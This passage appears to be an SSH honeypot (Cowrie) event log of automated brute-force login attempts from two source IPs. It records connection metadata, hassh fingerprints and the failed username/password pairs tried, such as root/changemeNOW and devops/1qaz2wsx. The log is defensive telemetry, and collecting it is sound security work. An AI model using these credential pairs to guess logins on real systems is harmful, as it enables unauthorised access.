{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:55.186925Z","src_ip":"192.109.200.78","session":"0ec192a7c219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:55.431891Z","src_ip":"192.109.200.78","session":"0ec192a7c219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:56.515936Z","src_ip":"192.109.200.78","session":"0ec192a7c219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":60394,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b4bd8d9100e","protocol":"ssh","message":"New connection: 92.207.4.157:60394 (159.203.135.109:22) [session: 1b4bd8d9100e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:57.270694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:57.273905Z","src_ip":"92.207.4.157","session":"1b4bd8d9100e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:57.374674Z","src_ip":"92.207.4.157","session":"1b4bd8d9100e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1qaz2wsx","message":"login attempt [devops/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:57.818182Z","src_ip":"92.207.4.157","session":"1b4bd8d9100e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37026,"dst_ip":"10.17.0.5","dst_port":22,"session":"466f60dfe27f","protocol":"ssh","message":"New connection: 192.109.200.78:37026 (10.17.0.5:22) [session: 466f60dfe27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:58.444346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:58.448383Z","src_ip":"192.109.200.78","session":"466f60dfe27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:58.528729Z","src_ip":"192.109.200.78","session":"466f60dfe27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:58.771465Z","src_ip":"192.109.200.78","session":"466f60dfe27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:58.925889Z","src_ip":"92.207.4.157","session":"1b4bd8d9100e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:34:59.943761Z","src_ip":"192.109.200.78","session":"466f60dfe27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37038,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2786d38acd8","protocol":"ssh","message":"New connection: 192.109.200.78:37038 (10.17.0.5:22) [session: c2786d38acd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:01.730224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:01.735737Z","src_ip":"192.109.200.78","session":"c2786d38acd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:01.927979Z","src_ip":"192.109.200.78","session":"c2786d38acd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:02.397997Z","src_ip":"192.109.200.78","session":"c2786d38acd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:03.485078Z","src_ip":"192.109.200.78","session":"c2786d38acd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50140,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5af9151128","protocol":"ssh","message":"New connection: 192.109.200.78:50140 (10.17.0.5:22) [session: 8f5af9151128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:05.326765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:05.330917Z","src_ip":"192.109.200.78","session":"8f5af9151128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:05.413636Z","src_ip":"192.109.200.78","session":"8f5af9151128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:05.662330Z","src_ip":"192.109.200.78","session":"8f5af9151128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:06.746350Z","src_ip":"192.109.200.78","session":"8f5af9151128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50148,"dst_ip":"10.17.0.5","dst_port":22,"session":"64984c4b0357","protocol":"ssh","message":"New connection: 192.109.200.78:50148 (10.17.0.5:22) [session: 64984c4b0357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:08.647908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:08.654361Z","src_ip":"192.109.200.78","session":"64984c4b0357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:08.740134Z","src_ip":"192.109.200.78","session":"64984c4b0357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:08.986309Z","src_ip":"192.109.200.78","session":"64984c4b0357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:10.071278Z","src_ip":"192.109.200.78","session":"64984c4b0357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48080,"dst_ip":"10.17.0.5","dst_port":22,"session":"13dcb7d26f5a","protocol":"ssh","message":"New connection: 192.109.200.78:48080 (10.17.0.5:22) [session: 13dcb7d26f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:11.929451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:12.008186Z","src_ip":"192.109.200.78","session":"13dcb7d26f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:12.048342Z","src_ip":"192.109.200.78","session":"13dcb7d26f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345678","message":"login attempt [alex/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:12.330373Z","src_ip":"192.109.200.78","session":"13dcb7d26f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:13.413659Z","src_ip":"192.109.200.78","session":"13dcb7d26f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48082,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c07eea77f71","protocol":"ssh","message":"New connection: 192.109.200.78:48082 (10.17.0.5:22) [session: 9c07eea77f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:15.336308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:15.340375Z","src_ip":"192.109.200.78","session":"9c07eea77f71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:15.420936Z","src_ip":"192.109.200.78","session":"9c07eea77f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:15.664809Z","src_ip":"192.109.200.78","session":"9c07eea77f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:16.810739Z","src_ip":"192.109.200.78","session":"9c07eea77f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"470ee3032ff1","protocol":"ssh","message":"New connection: 192.109.200.78:48084 (10.17.0.5:22) [session: 470ee3032ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:18.596928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:18.602600Z","src_ip":"192.109.200.78","session":"470ee3032ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 